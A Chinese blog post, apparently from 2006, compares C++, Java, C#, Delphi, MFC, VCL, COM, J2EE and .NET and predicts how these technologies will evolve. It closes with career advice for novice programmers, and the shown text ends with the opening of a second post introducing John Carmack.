		<p>　　首先，我要限定我文章的范围，我讨论的问题局限于桌面应用开发领域和企业应用开发领域，所以我的结论并不适用于整个软件开发界，比如我说C语言已经退出历史舞台，这对于写嵌入式系统的人和编写操作系统内核的人<br />来说显然是错了。我写这篇文章的目的主要是：</p>
		<p>　　　*简单的介绍并评价当前主流技术</p>
		<p>　　　*比较当前的主流技术</p>
		<p>　　　*预计技术的演变</p>
		<p>　　如果你想做程序员或者已经是个程序员，你可能会面对这些困惑：</p>
		<p>　　　*学什么语言呢？Delphi、C++、VB、Java、C#、PHP、Python?</p>
		<p>　　　*选择什么开发工具呢？Delphi、VC、C++Builder、JBuilder?</p>
		<p>　　当你已经入了门，有了一定的基础之后（可能已经通晓了几种语言），你会面临进一步的困惑：</p>
		<p>　　　*MFC和VCL之间是什么关系？</p>
		<p>　　　*J2EE到底是什么？.Net到底是什么？两者有什么本质的区别，我应该学习哪一个呢？</p>
		<p>　　　*COM那么复杂，为什么很多地方都用到它？我必须学习它吗？</p>
		<p>　　如果是作为一个软件公司，如果不是那么大，如果你的公司还没有一个真正的技术上的灵魂人物，那么你也会面临同样的困惑。技术问题纷繁复杂，让你不知所从，而且真正的精通每一项技术都需要巨大的时间和人力的投入<br />，你怎么办？选择哪种技术作为公司的主流技术呢？选择的方向是否正确是个关乎你的公司的生死存亡的问题。你面临着这些困惑吗？如果是，那么请让我试着为你拨云见日。<br />　　我的故事</p>
		<p>　　在我上大学之前，我从没见过计算机。大学的时候，正是Dos和FoxBASE的年代，也正是计算机软件开发世界几件伟大的事情发上的时候：(Windows　3.1、Borland　C++3.1、Visua<br />l　Basic1.0的推出也是伟大的事情，但那时候我还不知道计算机为何物)Widnows　95推出，并开始应用；Visual　Basic5.0推出，开发工具中第一次出现了成熟的、被广泛应用的Auto　<br />Code　Completion技术；Java推出；ASP技术开始盛行,Windows　DNA技术被理解和接受；标准C++诞生;Visual　C++6.0推出；J2EE规范推出。</p>
		<p>　　成为一个程序员对我而言并不顺利，因为我不是科班出身。我入门的程序语言是FoxBASE，这让我一直对FoxBASE有种特殊的感情，我也正是通过VisualFoxPro3.0转写Windows程序的，<br />如果没有它，我也许就不会成为一个程序员了。后来，在大学期间接触到了InterDEV，那是个写ASP程序的开发工具，还有Java，也是那时候接触的，当时有点盲目崇拜的意思（我想我喜欢Java的一个原因可<br />能是刚开始学C的时候很受挫折）。毕业之后，我就是凭借着自己写的一个ASP网站找到了自己的第一份工作——说来惭愧，我从来也没有成为一个C程序员。</p>
		<p>　　我真正的熟悉Java是在我翻译了一本Java数据结构的书和写了一套完整的GIS系统之后（说起此事，我要感谢一下我的公司，但因为这些故事与本文的主题无关，所以这里就不多说了）。再后来，我自己学习了标<br />准C++和COM技术。有点像履历表了是吗？提到这些，我只是希望作为读者的你能够了解一下我的知识体系，从而能够知道我大概要讲些什么；同时也希望你能够原谅我可能犯的错误——我在这里说的话，并不一定就是最后<br />的结论，虽然“共同探讨”这个词几乎是粗制滥造的书的作者专用语了，但我在这里引用它是真诚的，我愿意看到你的反馈。要涉及的话题在开始文章的正题之前，我先大概地介绍这篇文章将会涉及到哪些知识。如果你是初学者<br />，希望你不要被吓倒，这虽然是一篇技术文章，但我不会过多的讨论技术细节，如果你不懂我说的这些东西，也没关系，我本来就希望通过我的文章帮助你做出一个选择，不再走很多人已经走过的弯路，你这要记住结论就可以了<br />，随着你知识的增长，以后你会渐渐明白；如果你已经通晓了这些技术或其中的大部分，那么我相信读了这篇文章你会有一些另外的收获。</p>
		<p>　　主流的程序设计语言：C++、Delphi(ObjectPascal)、Java、C#</p>
		<p>　　桌面应用程序框架：MFC、VCL、QT、JavaAWT\SWING、.Net</p>
		<p>　　企业应用程序框架：WindowsDNA（ASP、COM、COM+）、J2EE、.NetFramework</p>
		<p>　　开发工具：VisualBasic、Delphi、VisualC++、C++Builder、VisualC# <br />二、正文</p>
		<p>　　现在让我们开始我的正文吧。首先，我来完成这篇文章的第一个目标：介绍并评价当前主流技术。我指的今天的主流技术是：</p>
		<p>　　　*程序设计语言：C++\Delphi（本来应该是ObjectPascal，但为了简单，我就语言和工具混为一谈吧）\Java\C#(虽然他刚刚推出，但因为微软为之倾注了大量心血，一定会成为一种重要<br />的开发语言)</p>
		<p>　　　*桌面应用程序框架:MFC\VCL</p>
		<p>　　　*企业应用程序框架:WindowsDNA\J2EE\.Net</p>
		<p>　　　*COM技术：我单独提出这项技术，是因为它无法简单的被视为语言、桌面应用程序框架或企业应用程序框架，它与这些都有关系。</p>
		<p>　　2.1　程序设计语言</p>
		<p>　　2.1.1　C++语言的演进</p>
		<p>　　最初要从二进制代码和汇编说起，但那太遥远了。我们就从面向过程的语言说起吧（包括Basic\C\Fortran\Pascal）。这种面向过程的高级语言终于把计算机带入了寻常的应用领域。其中的C语言因<br />为它的简单和灵活造就了Unix和Windows这样的伟大的软件。</p>
		<p>　　面向对象的语言是计算机语言的一个合乎逻辑的进化，因为在没有过多的影响效率、简单性的前提下提供了一种更好的组织数据的方法，可使程序更容易理解，更容易管理——这一点可能会引出不同意见，但事实胜于雄辩，<br />C++终于让C语言的领地越来越小，当今还活着的计算机语言或多或少的都具备面向对象的特征，所以这一点并不会引起太多困惑。C++的成功很大程度要归因于C，C++成为它今天的样子是合乎逻辑的产物。因为在面向<br />过程的时代，C几乎已经统一天下了。今天著名的语言象Java\C#都从C借鉴了很多东西，C#本来的意思就是C++++。其实C++曾经很有理由统一面向对象程序设计语言的天下来着，但可惜的是，C++太复杂了<br />。即使是一个熟练的程序员，要你很清楚的解释一些问题你也会很头痛。举几个还不是那么复杂的例子来说：</p>
		<p>　　对=的重载\成员转换函数\拷贝构造函数\转化构造函数之间有什么区别和联系呢？</p>
		<p>　　定义一个类成员函数private:virtualvoidMemFun()=0;是什么意义呢？</p>
		<p>　　int(*(*x(int))[4])(double);是什么意思？</p>
		<p>　　还有其他的特征，比如说可以用来制造一种新语言的typedef和宏（虽然宏不是C++的一部分，但它与C++的关系实在太密切了），让你一不小心就摔跤的内存问题（只要new和delete就可以了吗？有没<br />有考虑一个对象存放在容器中的情况？）……诸如此类，C++是如此的复杂以至于要学会它就需要很长的时间，而且你会发现即使你用C++已经好几年了，你还会发现经常有新东西可学。你想解决一个应用领域的问题——比<br />如说从数据库里面查询数据、更改数据那样的问题，可是你却需要首先为C++头痛一阵子才可以，是的，你精通C++，你可以很容易的回答我的问题，可是你有没有想过你付出了多大的代价呢？我不是想过分的谴责C++，<br />我本人喜欢C++，我甚至建议一个认真的开发普通的应用系统的程序员也去学习一下C++，C++中的一些特性，比如说指针运算\模板\STL几乎让人爱不释手，宏可以用几个字符代替很多代码，对系统级的程序员来说<br />，C++的地位是不可替代的，Java的虚拟机就是C++写的。C++还将继续存在而且有旺盛的生命力。<br />　　2.1.2　Java和C#</p>
		<p>　　Java和C#相对于C++的不同最大的有两点：第一点是他们运行在一个虚拟环境之中，第二点是语法简单。对于开发人员而言，在语法和语言机制的角度可以把Java和C#视为同一种语言。C#更多的是个政治的<br />产物而不是技术产物。如果不是Sun为难微软的话，我想微软不会费尽心力推出一个和Java差不多的C++++，记得Visual　J++吗，记得WFC吗？看看那些东西就会知道微软为Java曾经倾注了多少心血<br />。而且从更广泛的角度来说，两者也是非常相似的——C#和Java面对的是同样的问题，面向应用领域的问题：事务处理、远程访问、Webservice、Web页面发布、图形界面。那么在这一段中，我暂且用Jav<br />a这个名字指代Java和C#两种语言——尽管两者在细节上确实有区别。Java是适合解决应用领域的问题的语言。最大的原因Java对于使用者来说非常简单。想想你学会并且能够使用Java需要多长时间，学会并<br />且能够使用C++要多长时间。由于Java很大程度上屏蔽了内存管理问题，而且没有那么多为了微小的性能提升定义的特殊的内容（比如说，在Java里面没有virtual这个关键字,Java也不允许你直接在栈上<br />创建对象，Java明确的区分bool和整型变量），他让你尽量一致的方式操作所有的东西，除了基本数据类型，所有的东西都是对象，你必须通过引用来操作他们；除了这些之外，Java还提供了丰富的类库帮助你解决<br />应用问题——因为它是面向应用的语言，它为你提供了多线程标准、JDBC标准、GUI标准，而这些标准在C++中是不存在的，因为C++并不是直接面向解决应用问题的用户，有人试图在C++中加入这些内容，但并不<br />成功，因为C++本身太复杂了，用这种复杂的语言来实现这种复杂的应用程序框架本身就是一件艰难的事情，稍后我们会提到这种尝试——COM技术。渐渐的，人们不会再用C++开发应用领域的软件，象MFC\QT\C<br />OM这一类的东西最终也将退出历史舞台。<br />2.1.3　Delphi</p>
		<p>　　Delphi是从用C++开发应用系统转向用Java开发应用系统的一个中间产物。它比C++简单，简单的几乎象Java一样，因为它的简单，定义和使用丰富的类库成为可能，而且Delphi也这么做了，结果<br />就是VCL和其他的组件库。而另一方面，它又比运行于虚拟环境的Java效率要高一些，这样在简单性和效率的平衡之中，Delphi找到了自己的生存空间。而且预计在未来的一段时间之内，这个生存空间将仍然是存在<br />的。可以明显的看出，微软放弃了这个领域，他专注于两方面：系统语言C++和未来的Java(其实是.Net)。也许这对于Borland来说，是一件很幸运的事情。如果我能够给Borland提一些建议的话，那<br />就是不要把Delphi弄得越来越复杂，如果那样，就是把自己的用户赶到了C++或Java的领地。在虚拟机没有最终占领所有的应用程序开发领域之前，Delphi和Delphi的用户仍然会生存得很好。</p>
		<p>　　2.2桌面应用程序框架</p>
		<p>　　目前真正成功的桌面应用程序框架只有两个，一个是MFC，一个是VCL，还有一些其他的，但事实上并未进入应用领域。遗憾的是我对两个桌面应用程序框架都不精通。但这不妨碍我对他做出正确的评价。</p>
		<p>　　2.2.1MFC</p>
		<p>　　MFC（还有曾经的OWL）是SDK编程的正常演化的结果，就象是C++是C的演化结果一样。MFC本身是一件了不起但不那么成功的作品，而且它过时了。这就是我的结论。MFC凝聚了很多天才的智慧——当然，<br />OWL和VCL也一样，侯捷的《深入浅出MFC》把这些智慧摆在了我们的面前。但是这件东西用起来估计不会有人觉得很舒服，如果你一直在用Java、VB或者Delphi，再回过头来用MFC，不舒服的感觉会更加<br />强烈。我不能够解释MFC为什么没有能够最终发展成和VCL一样简单好用的桌面程序框架，也许是微软没精力或者没动力，总之MFC就是那个样子了，而且也不会再有发展，它已经被抛弃了。我有时候想，也许基于C++<br />这种复杂的语言开发MFC这样的东西本身就是错误的——可以开发这样的一个框架，但不应当要求使用它的人熟悉了整个框架之后才能够使用这个系统，但很显然，如果你不了解MFC的内部机制，是不太可能把它用好的，我<br />不能解释清楚为什么会出现这种现象。</p>
		<p>　　2.2.2VCL</p>
		<p>　　相比之下VCL要成功的得多。我相信很多使用VCL的人可能没有像MFC的用户研究MFC那样费劲的研究过VCL的内部机制。但这不妨碍他们开发出好用好看的应用程序，这就足够了，还有什么好说的呢？VCL给<br />你提供了一种简单一致的机制，让你可以写出复杂的应用程序。在李维的Borland故事那篇文章中曾经说过，在Borland　C++　3.1推出之后Borland就有人提出开发类似C++　Builder一类<br />的软件，后来竟未成行。是啊，如果C++　Builder是在那个时候出现的，今天的软件开发领域将会是怎么样的世界呢？真的不能想象。也许再过一段时间，这些都将不再重要。因为新生的语言如Java和C#都提供<br />了类似于VCL的桌面应用程序框架。那个时候，加上Java和C#本身的简单性，如果他们的速度有足够块，连Delphi这种语言也要消失了，还有什么好争论的呢？只是对于今天的桌面程序开发人员来说，VCL确实<br />是最好的选择。<br />　　2.3　企业应用程序框架</p>
		<p>　　2.3.1　Windows　DNA</p>
		<p>　　Windows　DNA的起源无从探究了。随着.Net的推出，事实上Windows　DNA将成为历史的陈迹。Windows　DNA虽然是几乎所有的企业应用程序开发人员都知道的一个名词，但我相信Win<br />dows　DNA事实上应用的最广泛的是ASP而不是COM+。真正的COM开发有多少人真正的掌握了呢，更不要提COM+(我有必要解释一下：COM+是COM的执行环境，它提供了一系列如事务处理、安全等基础<br />服务，让应用程序开发人员尽量少在基础架构设计上花精力)——当然我这里指的COM开发不是指VB下的COM开发，所以要这么说，是因为我觉得如果不能理解用C++进行COM开发，也就不能真正的理解COM技术。<br />如果以一种技术没有被广泛理解和应用作为失败的标志，那么Windows　DNA实际上是失败了，但这不是它本身的错，而是基于C++的COM技术的失败造成的。多层应用、系统开发角色分离的概念依然没有过时。</p>
		<p>　　2.3.2　J2EE</p>
		<p>　　J2EE是第一套成功的企业应用程序开发框架。因为它把事务处理、远程访问、安全这些概念带入了寻常百姓家。这种成功我认为要归因于Java的简单性。Java的简单，对于J2EE容器供应商来说一样重要。开<br />发一个基于Java的应用服务器要比基于C++的更容易。而且由于Java的简单性，应用系统开发者出错的机会也会少一些，不会像C++的开发者那样受到那么多挫折。开发基于Java的企业应用系统的周期会更短，<br />这恐怕是不容争辩的事实。不论如何，是J2EE让事务处理、远程访问、安全这些原来几乎都是用在金融系统中的概念也被一般的企业用户使用并从中获得利益。</p>
		<p>2.3.3　.NET</p>
		<p>　　.Net有什么好说的呢？其实，它不过是微软的J2EE。事务处理、安全、远程访问，这些概念在.Net中都找得到。更有力的说明是，微软也利用了.Net实现了一个PetStore。所以，.Net与J2E<br />E几乎是可以完全对等的。但微软确实是一家值得尊敬的公司——我指从技术上，象Web　form这种东西，我相信很多Web应用开发者都梦想过甚至自己实现过，但Sun却一直无动于衷，而且似乎Borland也没<br />有为此作过太多努力，好像有过类似的东西，但肯定是不怎么成功——Borland已经很让人敬佩了，我们也许无法要求太多。<br />　　2.4　COM技术</p>
		<p>　　COM应当是个更广泛的词汇，其实我觉得Axtive　X、OLE、Auto　mation、COM+都应当提及，因为如果你不理解COM，上面的东西你是无法理解的。而且，我只是想说明COM是一种即将消亡<br />的技术，仅仅说说COM的复杂性和他的问题就够了，所以不会提及那些东西。为什么会出现COM技术？COM的根本目标是实现代码的对象化的二进制重用，进而实现软件的组件化、软件开发工作的分工。这要求他做到两点<br />：第一，能够跨越不同的语言，第二，要跨越同一种语言的不同编译器。COM技术为这个目标付出了沉重的代价，尤其是为了跨越不同的编译器，以至于无论对于使用者而言还是开发者而言，他都是一个痛苦的技术。但幸运的<br />事，这一切终归要结束了。</p>
		<p>　　让我们从这个目的出发看看COM为什么会成为它现在的样子。其实COM不是什么新玩意，最初的DLL就是重用二进制代码的技术。DLL在C的年代可能还不错，但到了C++的年代就不行了。原因在于如果你在.h<br />文件中改变了类定义（增加或者减少了成员变量），代码库用户的代码必须重新编译才可以，否则用户的代码会按你的旧类的结构为你的新类分配内存，这将产生什么后果可想而知。这就是为什么通过接口继承和通过接口操作对<br />象成为COM的强制规范的原因，能够通过对象的方式组织代码是COM的重要努力。那么著名的IUnknown接口又是怎么回事呢？这是为了让使用不同编译器的C++开发人员能够共享劳动成果。</p>
		<p>　　首先看QueryInterface，因为COM是基于接口的，那么一个类可能实现了几个接口，而对于用户来说，你又只能通过操作接口来操作类，这样你必须把类造型成某个特定的接口，使用Dynamic_ca<br />st吗？不行，因为这是编译器相关的，那么，就只好把它放在类的实现代码中了，这就是QueryInterface的由来。至于AddRef和Release，他们产生的第一个原因是delete这个操作要求一个<br />类具有虚析构函数（否则的话，他的父类的析构函数将不会被调用），但不幸的是不同的编译器中析构函数在vtbl中的位置并不相同，这就是说你不能让用户直接调用delete，那么你的COM对象必须提供自己删除自<br />己的方法；另外的原因在于一个COM对象可能作为几个接口在被用户同时使用，如果用户粗暴的删掉了某个接口，那么其他的接口也就不能用了，这样，只好要求用户在想用一个接口的时候通过AddRef通知COM对象“<br />我要使用你了，你多了一个用户”，而在不用之后要调用Release告诉COM对象“我不用你了，你少了一个用户”，如果COM对象发现自己没有用户了，它就把自己删掉。</p>
		<p>　　再看看诡异的HRESULT，这是跨语言和跨编译器的代价。其实，异常处理是物竞天择的结果——连一直用效率作标榜的C++都肯牺牲效率来实现这个try-catch，可见它的意义，但COM为了照顾那些低级<br />的语言居然抛弃了这个特征——产生的结果就是HRESULT。我们可以看看他是多么愚蠢的东西。首先，我们要通过一个整数来传递错误信息，通过IErrorInfo来查找真正的错误描述，本来在现代语言中一个tr<br />y-catch可以解决的问题，现在我们却需要让用户和开发者都走很多路才能解决，你怎么评价这个结果？其次，由于这个返回计算结果的位置被占用了，我们不得不用怪异的out参数来返回结果。想想一个简单的int<br />　add(intop1,intop2)在COM中竟然要变成HRESULT　add(intop1,intop2,int*　result)，我不知道你对此作何感想。而且由于COM的方法无法返回一个对象而只<br />能返回一个指针，为了完成一个简单的std::string　GetName()这一类的操作，你要费多少周折——你需要先分配一块内存空间，然后在COM实现中把一个字符串拷贝到这个空间，用完了你要删掉这个空<br />间，不知道你是否觉得这种工作很幸福，反正我觉得很痛苦。还有COM为了照顾那些解释性的语言，又加入了Automation技术，你有没有为此觉得痛苦？本来一个简单的方法调用，现在却需要传给你一个标志变量，<br />然后让你根据这个标志变量去执行相应的操作。（这一点我现在仍然不明白，为什么解释性的语言需要通过这个方式来执行一个方法）。“我受够了，我觉得头痛”，你会说，是啊，我想所有的人都受够了，所有这些因素实际上<br />是把COM技术变成了一头让人无法驾驭的怪兽。</p>
		<p>　　人对复杂事物的掌控能力终究是有限的，C++本身已经够复杂了，COM的复杂性已经超出了我们大部分人的控制能力，你需要忍受种种痛苦得到的东西与你付出的代价相比是不是太不值得了？我们学习是为了解决问题，<br />而现在我们却需要为了学习这件事情本身耗费太多的精力。这些痛苦的东西太多了，我在这里说到的，其实只是一小部分而已。计算机技术是为人类服务的，而不是少数人的游戏（我想COM技术可能是他的设计者和一部分技术<br />作者的游戏），难道我们愿意成为计算机的奴隶吗？通过一种过于复杂的技术抛弃所有的人其实等于被所有的人抛弃，这么多年中选择J2EE的人我相信不乏高手，你是不是因为COM的过于复杂才选择J2EE的？因为它可<br />以用简单的途径实现差不多的目标——软件的“二进制”重用、组件化、专业分工（容器开发商和应用开发商的分工）。事实上，你是被微软所抛弃的，同时，你也抛弃了微软。</p>
		<p>　　现在让我们回来吧，我把你带进了COM的迷宫，现在让我把你领回来。再让我们看看COM到底想实现什么目标，其实很简单，不过是代码的二进制重用，也就是说你不必给别人源代码，而且你的组件可以象计算机硬件那<br />样“即插即用”。我们回过头来看看Java，其实，这种二进制重用的困难是C++所带来的（这不是C++本身的错，而是静态编译的错），当Java出现的时候，很多问题已经不存在了。你不需要一个头文件，因为Ja<br />va的字节码是自解释的，它说明了自己是什么样子的，可以做什么事情。不像C++那样需要一个头文件来解释这些事情；也不需要事先了解对象的内存结构，因为内存是在运行的时候才分配的。如果我们现在再回过头来解决<br />COM要解决的问题，你会怎么做呢？首先你会不再选择C++这种语言来实现代码的“二进制”重用，其次，你会把所有的语言编译成同样的“二进制”代码（实际上，应当说是字节码），这显然是更聪明的做法，从前COM<br />试图在源代码的级别抹平二进制层次的差异，这实际上是让人在做本来应当由机器做的事情，很愚蠢是吗？但他们一直做了那么多年，而且把这个痛苦带给了整个计算机世界——因为他们掌握着事实的标准，为了用户，为了利润<br />，为了能够在Windows上运行，尽管你知道你在做着一个很不聪明的事情，但你还是做了。</p>
		<p>　　COM技术为了照顾VB这个小兄弟和实现统一二进制世界的野心，实在浪费了太多的精力。首先，落后的东西的消亡是必然的，就象C、Pascal在应用领域的消亡一样，Basic一点一点的改良运动是不符合历史<br />潮流的做法，先进的东西和落后的东西在一起，要么先进的东西被落后的东西拖住后腿，要么是同化落后的东西，显然我们更愿意看见后者，现在Basic终于被现代的计算机语言同化了。其次，统一二进制世界好像不是那么<br />简单的事情，而且也没什么必要，微软的COM技术奋战了10年，现在也只有他自己和Borland支持，.Net终于放弃了这个野心。这一切终于要结束了。</p>
		<p>　　过去J2EE高歌猛进地占领着应用开发的领地，COM在这种进攻面前多少显得苍白无力。现在微软终于也有了可以和J2EE一较长短的.NET，对于开发人员来讲，基于字节码的组件的二进制重用现在是天经地义的<br />事情；你不用再为了能够以类方式发布组件做那么多乱七八糟的事情，因为现在所有的东西本来就是类了；实现软件开发的分工也很自然，你是专业人员，就用C#吧，你是应用开发人员，你喜欢用VB.Net，你就用吧，反<br />正你们写的东西最终都被翻译成了一样的语言（其实我觉得这一点意义不大，因为一些不那么好用的语言被淘汰是正常的事情，C风格成为程序设计语言的主流风格，肯定是有它的原因的，语言的统一其实是大势所趋，就象中国<br />人民都要说普通话一样，我觉得Java不支持多语言算不上缺点——本来就是一种很好看很好用的语言了，为什么要把简单问题复杂化呢？）。COM不会在短期内死去，因为我估计微软还不会马上用C#开发Office和<br />Windows的图形界面部分，但我相信COM技术退出历史舞台的日子已经不远了，作为一般的开发人员，忘了这段不愉快的历史吧——你将不会在你的世界里直接和COM打交道。若干年以后，我想COM也许会成为一场<br />笑话，用来讽刺那种野心过大、钻牛角尖的愚蠢的聪明人。</p>
		<p>结论</p>
		<p>　　说了很多，应该是有个结论的时候了。我似乎做了一件冒天下之大不韪的事情，因为我评价了主流技术，还要试图进行比较，好像某个名人说过：“C++　Builder也好，Visual　C++也好，能在市场上立<br />足，肯定都是有自己的过人之处的，而且一个人精通数种开发语言、数种开发工具是不可能的事情”，言下之意就是说你不要对这些东西妄加评论，但怎么可以不评论？好像高手都不屑于说哪种语言好、哪种语言坏，我不知道什<br />么时候形成了这种风气。简单地说C++比Java好或者Java比C++好显然是愚蠢的行为，但如果让你用Java写驱动程序，用C++开发一个MIS系统是不是愚蠢的行为呢？显然更愚蠢。我想，作为一个独立的能<br />思考的人，外界的东西对你而言总是有好有坏，而且你的生命有限，你还要享受你的生活，所以你必须做出选择。所以，起码评价这些东西对我自己而言是正确的——只要我有能力评价，那我就说出我的评价吧。</p>
		<p>　　对于计算机语言来说，未来真正重要的语言只有三种C++、Java和C#。C++将更适合于专业的计算机公司编写图形界面系统（比如KDE）、虚拟机（比如Java虚拟机或者.Net运行环境）、杀毒软件或者<br />其他的盒装软件（比如说Photoshop、Dreamweaver）这一类的东西。而且C++适合程序员做学习之用，能对C++有一定理解的程序员往往也应该能更深刻的理解Java、C#，这有助于编写更好的软<br />件。如果是开发为客户定制的应用系统Java、C#是更好的选择。包括桌面应用和Web应用。</p>
		<p>　　至于其他的语言比如VB.Net其实并没有太大的意义。Delphi在未来一段时间将继续存在，而且活得不错。最重要的原因在于，第一它有一套丰富的组件库，第二它效率相对算高的，第三它简单。如果虚拟机的执<br />行效率赶不上Delphi，它就有存在的理由，但从过去的Visual　J++来看，微软的虚拟机做得确实可以很好，加上.Net的组件库和C#的简单性并不差，所以从长远来看Delphi可能不那么乐观。</p>
		<p>　　其实上面的比较也包含了桌面应用程序框架的比较。在现在来说VCL无疑最好的，MFC已经退出历史舞台。.Net中所带的桌面应用程序框架将最终统一桌面应用领域（但不包括微软和Borland这样的专业公司<br />，因为他们要作出最好用而且效率最高的软件）。至于Java中所带的桌面应用程序框架，实在让人哭笑不得。这个结论的变数是.Net运行环境的执行效率。如果.Net中的虚拟机象Java的一样，那微软就倒霉了，<br />它等于放弃了桌面应用开发工具领域，但根据微软在Visual　J++上的成就和他推广.Net的背水一战的驾式，.Net在桌面领域失败的可能性不大（但不是没有，起码基于COM的技术在企业应用领域几乎可以说<br />是全军覆没）。</p>
		<p>　　在企业应用程序框架领域，最终只有J2EE和.Net可以决一雌雄。我没有提到CORBA，它也可以算是企业应用程序框架，但他的声势和J2EE或者.NET实在不能同日而语，而且最重要的是只有Borlan<br />d一家大公司支持它（SUN、IBM、BEA、Borland支持J2EE，微软就不用说了），所以就不详细说他了。那么最终谁会赢呢？我想微软赢的可能性大一些。这样说可能让很多人不快，而且IBM的厉害也是有<br />目共睹的。但这并不是纯技术问题，就象Windows　NT蚕食Unix的领土那样，那时候微软也是孤军作战。J2EE的问题在于第一：混乱，第二，价高。我相信很多人都对这两点有过不快的经历。你知道写给Web<br />logic的应用程序不是很顺利地就可以移植到Websphere上的，反过来也一样。但.Net就不一样了，那是微软一个人的作品，根本不存在移植的问题。</p>
		<p>　　如果J2EE阵营不想败在这一点上，有三个办法，第一种就是通过制定统一的标准彻底消灭移植问题，第二种是开发一种好用的部署工具（不能象JBuilder那么大、那么慢：），屏蔽不同的应用程序容器之间的区<br />别，第三种，也是最不可能的，就是J2EE阵营有人能够一统天下。显然，这三种解决办法都不太现实。第二点价高，这是SUN、IBM、BEA、ORACLE传统，也是它们一直让微软的进攻屡屡得手的软肋。我一直不<br />太能明白他们的西就为什么那么贵。这样想一想：微软的.Net　SDK白送给你，BEA的Web　logic一个CPU的License两万，如果你两种技术都会，如果你给客户的系统报价一样，你选哪种开发技术？<br />这一点实在让人觉得无可奈何。J2EE有的东西，.Net也有（除了不能跨平台），技术上的细微差别在巨大的价格差异面前还有什么意义呢？当然，SUM、IBM这些大公司也不是等闲之辈。就象Windows　NT<br />没有消灭Unix一样，J2EE应当会像Windows　NT和Unix的共存一样和.Net共存，只是我想.Net恐怕会占上风。</p>
		<p>闲话</p>
		<p>　　说完了该说的技术问题，说说闲话吧。有的话放在心里觉得不说出来不舒服，且让我一吐为快:)</p>
		<p>　　给入门程序员的建议</p>
		<p>　　不知道我在学计算机的时候是不是走了弯路。但我想如果让我重新开始学写程序的话，我会采用一些不同的办法。如果你也正在想成为一个程序员，这些也许会对你有帮助。我觉得可能大概要分几个阶段，第一个阶段应该是<br />找一门简单的语言入门，比如Java或者C#都应该比较合适，选一本简单的带例子的书（最好不要太厚），按部就班的把书学完。这时候可能还有些懵懵懂懂，但没关系，可以开始做个小小的软件了，重要的事你要自己用那<br />种语言的方式想思考，如果有项目做，当然更好。之后，你会觉得有点感觉了。如果你象我一样不是科班出身的，接下来应当补习一下计算机专业的课程，我觉得最重要的是数据结构——那些东西你可能永远都不会自己做，C+<br />+中有漂亮的STL，Java中也为你实现了大部分东西，但我觉得真的有必要学习那些内容，这会加强你用计算机语言思考问题的能力。在进一步，如果你的入门语言不是C++，那你可以补习一下C++，尽管你可能永远<br />都不会用C++开发程序。C++在现在的计算机世界就象是普通话一样，而且它能让你很容易的理解其他语言中难以理解的问题。学完了C++，那你应当就已经不是一个初级程序员了，欢迎你进入计算机软件开发的世界。</p>
		<p>　　印度的软件业</p>
		<p>　　我记得好像在CSDN上看见过一篇文章，极力的鼓吹印度的软件业。而且我记得他好像说过一句很刻薄的话“我们公司那些B大的和T大的，一个一个特别牛，牛得看不见人……做起界面极尽奇迹淫巧之能事……”，诸如<br />此类，总之认为程序员只有象印度的高中生那样乖乖的、懂得UML、会看Function　Specification才算是真正的程序员。我当时觉得很不舒服。我想这个人应该不是B或T大的——哦，别误会，我也不<br />是——但我觉得好像B大的T大的人没象他说的那样。而且我不明白为什么中国的软件业为什么一定要向印度看齐？作为一家公司，你想获取商业利润，学习印度无可厚非，你大可以找一大堆高中生培训成编程蓝领（我没有轻视<br />高中生的意思，我相信有很多“高中生”在技术领域取得的成就是让我望尘莫及的），但你不应该因此就把有血有肉有个性的程序员扁得一钱不值。说实话，所谓的编程蓝领不过是工厂里面的装配工，如果有一天工厂里面换了自<br />动化的设备，这些人就全成了废人！而你要知道并不是这些装配工发明了自动化机器。我想这种话用不着多说，子曰“过犹不及”，你可以喜欢变成蓝领，但不要把问题推向极端，把问题推向极端往往就会犯错误。我们中国可以<br />在某种程度上学习印度，但好像我们更应该学习美国——只是我们现在没那么富裕——可是微软也不是从一开始就是这样一个伟大的帝国的，IBM也一样</p>
		<p>　　附录参考书目</p>
		<p>　　阅读如下图书有助于理解本文内容。而且这些书都是好书，值得一读。</p>
		<p>　　*《标准C++宝典》<br />　　*《C++编程思想》<br />　　*《深入浅出MFC2e》<br />　　*《COM技术内幕》<br />　　*《COM本质论》<br />　　*《Java编程思想》<br />　　*《精通EJB》第二版<br />　　*《J2EE编程指南》<br />　　*《Delphi6开发人员指南》<br />　　*《C#宝典》<br />　　*《微软.Net战略》<br />注：以上文字来源于网上文章</p>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/10199.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-05-08 16:17 <a href="http://www.cnitblog.com/weitom1982/archive/2006/05/08/10199.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>传奇程序员John Carmack 访谈实录   </title><link>http://www.cnitblog.com/weitom1982/archive/2006/04/21/9442.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Fri, 21 Apr 2006 01:39:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/04/21/9442.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/9442.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/04/21/9442.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/9442.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/9442.html</trackback:ping><description><![CDATA[
		<p>约翰卡马克介绍  <br /> 　　id Software的大名鼎鼎的约翰•卡马克（John Carmack）众望所归地入选了2001年度IASA“游戏名人堂”。  </p>
		<p>　　如果把诺兰•布什纳尔比作“电子游戏业之父”，那约翰•卡马克就是“第一人称射击游戏之父”，在一家名为id Software的小公司里，卡马克和他的同事通过一部又一部血腥暴力的作品创造并不断革新着这一游戏类别。id所获得的无数荣誉应当归属于它的全体员工，而约翰•卡马克无疑是将整个公司凝聚在一起的粘合剂。  </p>
		<p>　　坦白地说，卡马克主要是一名技术天才，id公司出品的每一款游戏都是围绕他所编写的引擎制作而成的，卡马克不断把引擎技术推向新的高度。他为游戏业做出的第一个贡献是实现了卷轴游戏背景图像的流畅性，这一技术在1990年的《指挥官基恩》（Commander Keen）中得到了应用，此前电脑平台上的横向卷轴游戏的背景图像都很不稳定，根本无法同当时游戏机平台上的横向卷轴游戏相比。尽管这一技术在今天看来算不上什么，但它足以显示出卡马克高超的编程能力。  </p>
